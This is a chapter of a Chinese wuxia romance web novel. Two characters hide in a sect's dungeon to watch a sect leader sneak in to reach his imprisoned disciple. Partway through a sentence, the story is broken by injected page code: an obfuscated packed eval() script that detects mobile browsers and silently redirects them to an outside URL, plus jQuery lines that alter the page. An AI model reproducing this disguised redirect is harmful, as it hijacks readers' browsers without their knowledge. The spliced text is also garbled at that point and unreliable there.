31.何以报德3

作品:《正道女主养成手册

    慕容连衡信步上前,行至不省人事的越子游身旁,俯身拾起了掉落在他身旁的无败。在接触到无败刀柄的瞬间,他敏锐感受到了那一股和崭绝剑别无二致的邪戾之气,似是又见到了阴阳相隔二十年的那位宿敌。


    “殷崭……”


    哪怕是化成一缕残灰,慕容连衡也绝不会错认。可是殷崭二十年前早已毙命,无败上怎么会有他的气息?


    慕容连衡心绪沉浮,面上并不显山露水,转身向惊魂未定的众人朗声道:“越子游擅使邪道,反噬自身走火入魔,让在座的诸位受惊了。此事疑点重重,便由问剑谷将越子游收押进一步调查审问,趁着各派宾客全都在此,请诸位做个见证。”


    “……且慢!”徐秉山退开人群挤上前来,脸色黑沉如墨洗,他厉声打断道:“子游是我们北阙宗的人,就算出了事,也应当由我们北阙宗押解回去听候发落。慕容宗主要把子游关押进你们问剑谷的监牢,全然不过问我们北阙宗的意见,如此独断专权,管得是否有些太宽了?”


    慕容暝立于慕容连衡身侧,她正张口欲言,耳中钻入一道传音入密的女声:“拦下徐秉山,绝不能让他带走越子游!这件事牵涉到恶剑魔殷崭,必须将越子游扣下,撬开他的嘴问个一清二楚。”


    慕容暝抬眸望去,见蓝令容在侍女的簇拥下步履匆匆赶至拭剑台,神情是少见的焦急难耐。


    即使蓝令容不说,慕容暝也不会任由徐秉山带走越子游,她上前一步,朝徐秉山掷地有声地道:“徐宗主此言差矣。越子游在生死决上使这等邪道,本就坏了集英大会的规矩,更何况,他控制不住自己走火入魔,在拭剑台上当众伤人,所幸控制及时,才没酿下惨案。这桩桩件件,罔顾他人性命,为祸不仁,已经不仅仅是北阙宗门内之事,而是事关在场的所有宗门。我们问剑谷负责举办此次集英大会,此案也理应归问剑谷管辖。”


    徐秉山面色寒沉:“问剑谷这是执意要与我们北阙宗作对吗?”


    慕容暝见招拆招,道:“岂会?只是北阙宗离问剑谷山高路远,若将越子游押送回北阙宗再行审问,难保不会横生枝节,倒不如在问剑谷来得方便。父亲一向持身中正,最是公允,在江湖上有口皆碑,由我们问剑谷关押审问越子游,我想并无不妥。”


    “慕容暝,你……!”徐秉山被慕容暝这一番有理有据的话堵得哑口无言,脸上再也绷不住那装模作样的儒雅随和,气得眉目纠结,拧作一团。


    徐秉山后悔了,比起萧迢,这个难缠无比的慕容暝才更加该死!要是早知有今日,他就该未雨绸缪提着无败将她一并铲除了去。只是……


    徐秉山的视线落于慕容暝额间的崭绝印,眼中闪烁不明。


    各派众人闻言,纷纷附和:“慕容少主说得不错!徐宗主,今天这事闹得太大,还是尽快把越子游看押起来才好,免得他醒来之后又到处行凶伤人啊!”


    “是啊徐宗主,我们所有人都看到了,今日是这越子游一人犯事,相信慕容宗主定会公正处置,不会牵连北阙宗其余无辜之人的。徐宗主,您究竟在担心什么?”


    徐秉山此刻骑虎难下,愤恨难当,险些暗自咬碎他的一口牙。但他蓦地想到些什么,心念陡转,改换成一副深明大义的模样,抬手擦拭起眼角压根不存在的眼泪,看似痛心疾首地道:“唉……既然如此,那便依慕容宗主所言吧。子游误入歧途,铸下如此大错,都是我这个做师父的管教无方,没能及时察觉,将他引回正途。今日一事,我北阙宗便与这逆徒从此划清界限,慕容宗主无需介怀,秉公处置便是。”


    慕容暝将他这一番假惺惺的态度转变尽收眼底,心中冷嗤,徐秉山不去戏团子里表演变脸戏法,委实是屈才了。


    慕容连衡并非不知他的虚情假意,但既然徐秉山嘴上已经让步,不再执意阻挠,他也没有必要干涉徐秉山的戏瘾大发。他颔首道:“徐宗主果然深明大义……来人,将越子游带往地牢关押,明日审问。诸位,眼下出了此等大事,集英大会后续的比试便先暂缓吧,待事情水落石出后再做定夺。”


    说罢,慕容连衡转身,将无败递到慕容暝手中,嘱咐道:“暝儿,将无败妥善保管,封存于禁阁之中,不得令任何人擅动。”


    “是,父亲。”


    慕容暝接过无败,余光悄然微转,正瞥见徐秉山怏怏不甘地紧盯着无败,就差没直接扑上来夺刀了。她洞若观火,心里跟明镜似的,徐秉山不会坐以待毙,在越子游接受审讯、将他招供出去之前,他定然会有所动作。


    就在今夜。


    ===


    是夜,月流清辉,四下静谧,慕容暝算准时辰,叩响了萧迢住处的门扉。


    萧迢打开门后,见慕容暝穿着一身利落英挺的夜行衣站在门外,俨然一副要干大事的样子,讶异问道:“慕容少主,这是……”


    慕容暝单刀直入,向萧迢发出了邀约:“带你去看一出师徒情深的好戏,有没有兴趣?”


    萧迢怔愣片刻后,心中了悟:“……徐师叔和越子游?”


    “正是。”


    小半个时辰后,两道融入夜色的黑影悄然摸进问剑谷地牢之中。慕容暝对地牢守卫的部署了如指掌,如入无人之境,不费吹灰之力地避开了一路的守卫弟子。而萧迢也似有所觉,这地牢中的守卫颇为松懈,换作任何一个轻功尚可的高手都可以随心所欲地潜入。


    倒像是在刻意放什么人进来一样。


    慕容暝将萧迢带至关押越子游的牢房,只见越子游被镣铐锁着吊在刑架之上,他浑身是伤,木然低垂着头,甚至让人怀疑他到底是死是活。


    慕容暝秉持着人道主义,让医所的大夫将越子游被敲断的四肢又接了回去,他的一对胳膊一双腿都被夹板和绷带层层包裹,固定得十分扎实,肘窝和膝关节无法弯曲,他只得像个人偶般直愣愣地抻在地上,靠镣铐吊着勉强保持平衡,看起来很是滑稽。


    明明昨日还是前呼后拥、受人追捧的宗主大弟子,转眼却成了入了魔的阶下囚,实在唏嘘。


    牢房斜对面的不远处,放置着一排用毡布覆盖的刑架,刑架与牢房墙面之间留有一人宽的间隙,是绝佳的藏身之处。慕容暝早些时辰来踩过点,发觉藏身于这处间隙之中,既能看清越子游那处的情形,又能极好地遮蔽身形,不会惹人察觉。


    慕容暝无声地朝萧迢比划了个手势,示意萧迢躲进间隙里去,萧迢对她的话当然是无有不依,可他刚躲进那藏身的间隙之中,顿觉情况不对。


    这一方空间,有些过于狭窄逼仄了。


    本来窄小些倒也没什么,他将身子拘谨缩起也能藏得进去。可下一秒,慕容暝紧随而至,也躲了进来。


    这可就大事不妙了。


    慕容暝对自己寻到的这个藏身之处颇为满意,全然没有注意到萧迢的异样。她钻进间隙之后,警惕打量着外头,忽而发现牢内墙上的火把的光映照出了她露在外头的衣角。


    慕容暝一惊,往后撤了一步,想要将自己的身躯完全隐匿于暗处,可在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351629|194806||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那间隙之中,她本就和萧迢咫尺之距,这一退步,二人的身躯倏然挨在了一处,与此同时,她听见身后的萧迢传出诧然的低呼:“少主,你……!”


    慕容暝对他这一声动静猝不及防,唯恐惊动牢房中的越子游,打草惊蛇。她下意识猛然回身,一手捂起萧迢的嘴,另一手朝他比了个噤声的手势。


    而下一刻,慕容暝也发觉了不对劲。


    他们离得实在是太近了。


    萧迢背靠在最里头的墙角,他身量高大,为了不暴露自己的身形,无法完全站直,需得微微弯腰弓起身子,而为了保持身形稳定,他的双腿处于微微分开的状态。慕容暝这突如其来的一后撤一转身,使得她被整个环在了萧迢的怀中。


    就好像在拥抱一般。


    慕容暝明晰地感受到萧迢灼热的体温透过层层衣料传来,他的气息顷刻间将她笼罩包裹而起,肆无忌惮地挑动着她的嗅觉,那是一种清新好闻的草木香气,其间还掺着一缕烤栗子般的暖甜,若有似无。


    萧迢的面容与她分寸之距,慕容暝几乎能数清他根根分明的睫毛,而他那双好看的眼眸之中,此刻溢满了诧异无措之色。慕容暝的手掩于他的鼻唇之上,拂过他略显粗重而温热的鼻息,他微凉的鼻尖正随着呼吸一下下磨蹭着她的掌心,传来点点痒意。


    鼻尖之下,则是另一种更为柔软磨人的触感。


    萧迢眼神错愕,他一动也不敢动,只能无助地眨了眨眼,慕容暝则无比清晰地看到,她覆于他面上的掌心之下逸散出一片绯红,那抹红向着耳根攀升,又逐步晕染至脖颈,里外熟了个透彻。


    慕容暝从没和一个男人离得这样近过,她忽然感觉自己像个轻薄良家男的登徒女,不免尴尬,讪讪地将捂在他脸上的手收了回来,同时尽量装作若无其事地向后退开,想要从这片令人抓耳挠腮的尴尬之中脱身。


    可她刚一动作,萧迢又是一声闷哼:“唔……”


    慕容暝感到紧挨着她的身躯陡然一僵,萧迢的呼吸也随之错乱起来,她正纳闷着,却见萧迢慌忙伸手按在她的肩头,制止了她的动作。


    他似乎在勉力隐忍着什么,用克制的气声道:“少主,别……别再动了!求你。”


    慕容暝:“……!”


    慕容暝陡然惊觉,她的前髂,似乎正不偏不倚地抵在了他的……那一处。


    她并非不通风月之事的木头,当然明白萧迢此刻的异样源于何处,她一阵心悸无措,向来神思敏捷的头脑霎时停止了运作。


    她现在该怎么做?需要向他道歉吗?可这种事该如何启齿呢?


    左思右想,慕容暝都觉得她还是装作什么都不知道为妙。于是,她悄悄将腿往后挪了挪,离开了那片搅得人心惶惶的禁地,再小心翼翼地退开至一个微妙而安全的距离,二人之间那股焦灼难言的空气终于又重新流动,总算令她轻快自在了些许。


    萧迢亦是如蒙大赦,装作若无其事地调整了一下姿势,只是那张如染上夕烧的面颊出卖了他所有的赧然与窘迫,凭他怎么藏都会露出马脚。


    两相尴尬之间,地牢中忽然响起一阵细微的动静,二人警觉望去,又是一道黑影闪身摸进了牢房之中。那黑影长驱而入,径直奔向关押着越子游的牢房,三下五除二撬开了牢房门的锁,站定在了越子游面前。


    正事当前,慕容暝和萧迢转眼将方才的窘境抛诸脑后,二人对视一眼,心照不宣,都认出了黑影的身份。


    正是同样穿着夜行衣的徐秉山。